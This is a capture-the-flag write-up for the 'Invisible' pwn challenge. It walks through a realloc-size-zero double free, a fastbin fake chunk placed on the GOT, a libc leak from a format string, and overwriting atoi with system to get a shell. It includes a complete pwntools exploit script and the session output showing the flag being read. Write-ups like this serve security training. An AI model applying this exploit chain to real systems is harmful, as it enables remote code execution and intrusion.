Rating:
# Invisible
by mito
## 17 Solves, 217pt
Since the Edit function used `realloc()`, we can call free by specifying `size 0`.
```
int __fastcall edit(__int64 a1, __int64 a2, __int64 a3)
{
  unsigned __int16 v4; // [rsp+Ch] [rbp-4h]
  unsigned __int16 v5; // [rsp+Eh] [rbp-2h]
  v4 = readint("index: ");
  if ( v4 > 1u )
    return puts("[-] edit: error");
  if ( !ptr[v4] )
    return puts("[-] edit: error");
  v5 = readint("size: ");
  if ( v5 > 0x78u || !realloc((void *)ptr[v4], v5) )
    return puts("[-] edit: error");
  *(_BYTE *)(ptr[v4] + (unsigned __int16)readline("data: ", (void *)ptr[v4], (unsigned int)v5 - 1)) = 0;
  return puts("[+] edit: done");
}
```
We can make a `double-free` state with the following code
```
New(0, 0x60, "A"*0x10)
New(1, 0x60, "B"*0x10)
Edit2(0, 0)
Delete(1)
Delete(0)
```
```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x603000 —▸ 0x603070 ◂— 0x603000
0x80: 0x0
```
Furthermore, we can consume chunks of fastbin by changing the size with the Edit function.
```
New(0, 0x60, p64(0x60202d))
New(1, 0x60, "C"*0x10)
Edit(1, 0x70, "c")
Delete(1)
New(1, 0x60, "D"*0x10)
Edit(1, 0x20, "d")
Delete(1)
```
```
pwndbg> bins
fastbins
0x20: 0x0
0x30: 0x603000 ◂— 0x0
0x40: 0x603030 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x60202d (_GLOBAL_OFFSET_TABLE_+45) ◂— 0xfff7ad920000007f
0x80: 0x603070 ◂— 0x0
```
Printf() address of libc-2.23.so can be used as fake chunk of size 0x7f, because the least significant byte of` prinf` is `null`.
```
pwndbg> x/40gx 0x602000
0x602000:	0x0000000000601e20	0x00007ffff7ffe168
0x602010:	0x00007ffff7dee870	0x00007ffff7a914f0
0x602020:	0x00007ffff7a7c690	0x0000000000400756
0x602030:	0x00007ffff7a96ab0	0x00007ffff7a62800 <-- printf
0x602040:	0x00007ffff7ad9200	0x00007ffff7b04250
0x602050:	0x00007ffff7a423c0	0x00007ffff7a91130
0x602060:	0x00007ffff7a916c0	0x00007ffff7a7ce70
0x602070:	0x00007ffff7a43e80	0x00000000004007f6
0x602080:	0x0000000000000000	0x0000000000000000
pwndbg> x/40gx 0x60200d
0x60200d:	0xfff7dee87000007f	0xfff7a914f000007f
0x60201d:	0xfff7a7c69000007f	0x000040075600007f
0x60202d:	0xfff7a96ab0000000	0xfff7a6280000007f <-- 0x0000007f
0x60203d:	0xfff7ad920000007f	0xfff7b0425000007f
0x60204d:	0xfff7a423c000007f	0xfff7a9113000007f
0x60205d:	0xfff7a916c000007f	0xfff7a7ce7000007f
0x60206d:	0xfff7a43e8000007f	0x00004007f600007f
0x60207d:	0x0000000000000000	0x0000000000000000
```
We can use the fake chunk at `0x60202d`. We can overwrite GOT from read() to exit() function.
```
buf  = "\x7f\x00\x00"
buf += p64(elf.sym['alarm']+6)
buf += p64(elf.sym['read']+6)
buf += p64(elf.sym['signal']+6)
buf += p64(elf.sym['malloc']+6)
buf += p64(0x40071e)              # realloc => ret
buf += p64(elf.sym['setvbuf']+6)
buf += p64(elf.sym['printf']+6)   # atoi => printf
New(1, 0x60, buf)
```
```
pwndbg> x/80gx 0x602000
0x602000:	0x0000000000601e20	0x00007ffff7ffe168
0x602010:	0x00007ffff7dee870	0x00007ffff7a914f0
0x602020:	0x00007ffff7a7c690	0x0000000000400756
0x602030:	0x00007ffff7a96ab0	0x00007ffff7a62800
0x602040:	0x0000000000400786	0x00007ffff7b04250
0x602050:	0x00000000004007a6	0x00000000004007b6
0x602060:	0x000000000040071e	0x00000000004007d6
0x602070:	0x0000000000400776	0x0000000000400700
```
Rewriting `atoi` function to `printf` function enables libc leak.
```
s.sendlineafter("> ", "1")
s.sendlineafter(": ", "%3$p")
r = s.recvuntil("[")[:-1]
libc_leak = int(r, 16)
libc_base = libc_leak - 0xf7260
system_addr = libc_base + libc.symbols['system']
```
Finally, we can start the shell by rewriting the `atoi` function to the `system` function.
```
buf  = "\x7f\x00\x00"
buf += p64(elf.sym['alarm']+6)
buf += p64(elf.sym['read']+6)
buf += p64(elf.sym['signal']+6)
buf += p64(elf.sym['malloc']+6)
buf += p64(0x40071e)              # realloc => ret
buf += p64(elf.sym['setvbuf']+6)
buf += p64(system_addr)
Edit1("%96c", buf)
```
```
pwndbg> x/80gx 0x602000
0x602000:	0x0000000000601e20	0x00007ffff7ffe168
0x602010:	0x00007ffff7dee870	0x00007ffff7a914f0
0x602020:	0x00007ffff7a7c690	0x0000000000400756
0x602030:	0x00007ffff7a96ab0	0x00007ffff7a62800
0x602040:	0x0000000000400786	0x00007ffff7b04250
0x602050:	0x00000000004007a6	0x00000000004007b6
0x602060:	0x000000000040071e	0x00000000004007d6
0x602070:	0x00007ffff7a52390	0x0000000000400700      ◂—  0x00007ffff7a52390 is system address
```
Exploit code is below.
```
from pwn import *
#context(os='linux', arch='amd64')
#context.log_level = 'debug'
BINARY = './chall'
elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':
  HOST = "69.172.229.147"
  PORT = 9003
  s = remote(HOST, PORT)
  libc = ELF("./libc-2.23.so")
else:
  s = process(BINARY)
  #s = process(BINARY, env={'LD_PRELOAD': './libc.so.6'})
  libc = elf.libc
def New(index, size, data):
  s.sendlineafter("> ", "1")
  s.sendlineafter(": ", str(index))
  s.sendlineafter(": ", str(size))
  s.sendafter(": ", data)
def Edit(index, size, data):
  s.sendlineafter("> ", "2")
  s.sendlineafter(": ", str(index))
  s.sendlineafter(": ", str(size))
  s.sendafter(": ", data)
def Edit1(size, data):
  s.sendlineafter("> ", "22")
  s.sendlineafter(": ", "1")
  s.sendlineafter(": ", size)
  s.sendafter(": ", data)
def Edit2(index, size):
  s.sendlineafter("> ", "2")
  s.sendlineafter(": ", str(index))
  s.sendlineafter(": ", str(size))
def Delete(index):
  s.sendlineafter("> ", "3")
  s.sendlineafter(": ", str(index))
New(0, 0x60, "A"*0x10)
New(1, 0x60, "B"*0x10)
# Double Free
Edit2(0, 0)
Delete(1)
Delete(0)
New(0, 0x60, p64(0x60202d))
# use fastbin 2 times
New(1, 0x60, "C"*0x10)
Edit(1, 0x70, "c")
Delete(1)
New(1, 0x60, "D"*0x10)
Edit(1, 0x20, "d")
Delete(1)
# GOT overwrite
# printf GOT : LSB is null
# 0x00007ffff7a62800
buf  = "\x7f\x00\x00"
buf += p64(elf.sym['alarm']+6)
buf += p64(elf.sym['read']+6)
buf += p64(elf.sym['signal']+6)
buf += p64(elf.sym['malloc']+6)
buf += p64(0x40071e)              # realloc => ret
buf += p64(elf.sym['setvbuf']+6)
buf += p64(elf.sym['printf']+6)   # atoi => printf
New(1, 0x60, buf)
# libc leak
s.sendlineafter("> ", "1")
s.sendlineafter(": ", "%3$p")
r = s.recvuntil("[")[:-1]
libc_leak = int(r, 16)
libc_base = libc_leak - 0xf7260
system_addr = libc_base + libc.symbols['system']
print "libc_leak   =", hex(libc_leak)
print "libc_base   =", hex(libc_base)
print "system_addr =", hex(system_addr)
buf  = "\x7f\x00\x00"
buf += p64(elf.sym['alarm']+6)
buf += p64(elf.sym['read']+6)
buf += p64(elf.sym['signal']+6)
buf += p64(elf.sym['malloc']+6)
buf += p64(0x40071e)              # realloc => ret
buf += p64(elf.sym['setvbuf']+6)
buf += p64(system_addr)
Edit1("%96c", buf)
# start /bin/sh
s.sendlineafter("> ", "/bin/sh\x00")
s.interactive()
'''
$ python exploit.py r
libc_leak   = 0x7f13f420f260
libc_base   = 0x7f13f4118000
system_addr = 0x7f13f415d390
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=999(pwn) gid=999(pwn) groups=999(pwn)
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ASIS{l0ngl0ng-tr4v3l-2-s33k-7h3-l34k}
'''
```
Thank you for a good challenge.